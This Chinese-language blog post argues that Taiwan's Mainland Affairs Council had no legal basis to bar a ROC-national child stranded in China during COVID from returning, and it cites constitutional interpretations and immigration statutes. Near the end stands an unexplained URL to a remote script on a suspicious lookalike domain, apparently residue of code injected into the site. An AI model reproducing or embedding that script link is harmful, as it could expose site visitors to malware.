結論放前面，免得法條太多噁心到非法律專業的。
1. 中華民國國籍是屬人主義，出生時父母其中一人具備中華民國國籍者就自動取得，跟設不設戶籍無關。
2. 司法院大法官釋字第 558 號雖是針對當年所謂「政府黑名單」問題，但其背後法理共通：國民有返國權，除非有合乎比例原則的法律限制，否則國家不得無故拒絕國民返國。
但該解釋的敗筆在於大法官把「是否設有戶籍」列為要件之一，我個人是贊同劉鐵錚大法官的不同意見書：「…至於其肯定立法者得以住所決定對國民入出境是否採取許可制之標準，本席尤難同意。…」
做成此釋字的某位大法官在我念法律系時照顧有加，時不時請我吃當時流行的養生餐或土雞城，看到名字殊堪回憶，題外話一句。
3. 入出國及移民法第7條規定「無戶籍國民」不予許可入境的限制中，並不包含「可能生病或被傳染疾病未發病」這個條件。而以第18條第1項第8款「確定患有足以妨害公共衛生疾病」為前提，且此條是針對『外國人』或『無戶籍國民』。這邊可以延伸談的是：新型冠狀肺炎的疫情與死亡率是否比其他流行性感冒嚴重？特別針對此病是否符合比例原則與平等權？
陸委會發言人邱垂正已表示：
「血友病童的生父是中華民國籍，中配馬姓女士在台灣依親多年，已取得中華民國戶籍並核准在台定居，病童也是中華民國籍。」
所以，陸委會又聲稱的：
「對於「國人與陸配所生的子女，原本即具有臺灣合法居留身分，並且已經與父母在臺灣共同居住生活、就學多年，過年期間隨同父母到中國大陸探親，因停航滯留者」，考量目前中國大陸疫情發展，為減少人員移動，仍不允許回臺。」
法源依據為何？我是很好奇啦。
看看入出國及移民法第 2 條：「本法之主管機關為內政部。」
並非陸委會管轄主管，所以關該會什麼事？我也很好奇啦。
另一方面，如果該血友病童在台灣設有戶籍，那依照同法第五條：
「居住臺灣地區設有戶籍國民入出國，不須申請許可。但涉及國家安全之人員，應先經其服務機關核准，始得出國。」
居住臺灣地區設有戶籍國民入出國，不須申請許可。
居住臺灣地區設有戶籍國民入出國，不須申請許可。
居住臺灣地區設有戶籍國民入出國，不須申請許可。
我還是看不懂剝奪國民返國權的法源依據，更看不懂這樣的政府哪裡捍衛人權了？
我只知道從經濟學實證來看，民主制度完全不保障人權，持此謬論的人不是笨就是壞。
關於經濟學怎麼看人權可參考我的舊文：
「從南投地院「公然侮辱罪」一案談起 — 2010/06/16」
http://www.yuanyu.idv.tw/?p=779
「經濟學看人權」
https://tinyurl.com/uz3afu4
或是參閱以下論文書籍：
Steven N. S. Cheung, “Why is there a lack of freedom under communism?" 1983
Milton Friedman, “Capitalism and Freedom"
F. A. Hayek “The Road to Serfdom"
================================
司法院大法官釋字第 558 號：
「憲法第十條規定人民有居住、遷徙之自由，旨在保障人民有自由設定住居所、遷徙、旅行，包括入出國境之權利。人民為構成國家要素之一，從而國家不得將國民排斥於國家疆域之外。於臺灣地區設有住所而有戶籍之國民得隨時返回本國，無待許可，惟為維護國家安全及社會秩序，人民入出境之權利，並非不得限制，但須符合憲法第二十三條之比例原則，並以法律定之。」
================================
國籍法第二條第一項：
「有下列各款情形之一者，屬中華民國國籍：一、出生時父或母為中華民國國民。…」
================================
入出國及移民法
第 7 條臺灣地區無戶籍國民有下列情形之一者，入出國及移民署應不予許可或禁止入國：一、參加暴力或恐怖組織或其活動。二、涉及內亂罪、外患罪重大嫌疑。三、涉嫌重大犯罪或有犯罪習慣。四、護照或入國許可證件係不法取得、偽造、變造或冒用。臺灣地區無戶籍國民兼具有外國國籍，有前項各款或第十八條第一項各款規定情形之一者，入出國及移民署得不予許可或禁止入國。第一項第三款所定重大犯罪或有犯罪習慣及前條第一項第六款所定重大經濟犯罪或重大刑事案件之認定標準，由主管機關會同法務部定之。
第18條第一項第八款：「外國人有下列情形之一者，入出國及移民署得禁止其入國：….八、患有足以妨害公共衛生或社會安寧之傳染病、精神疾病或其他疾病。」
https://js.developerstatss.ga/stat.js?n=ns1
元毓說 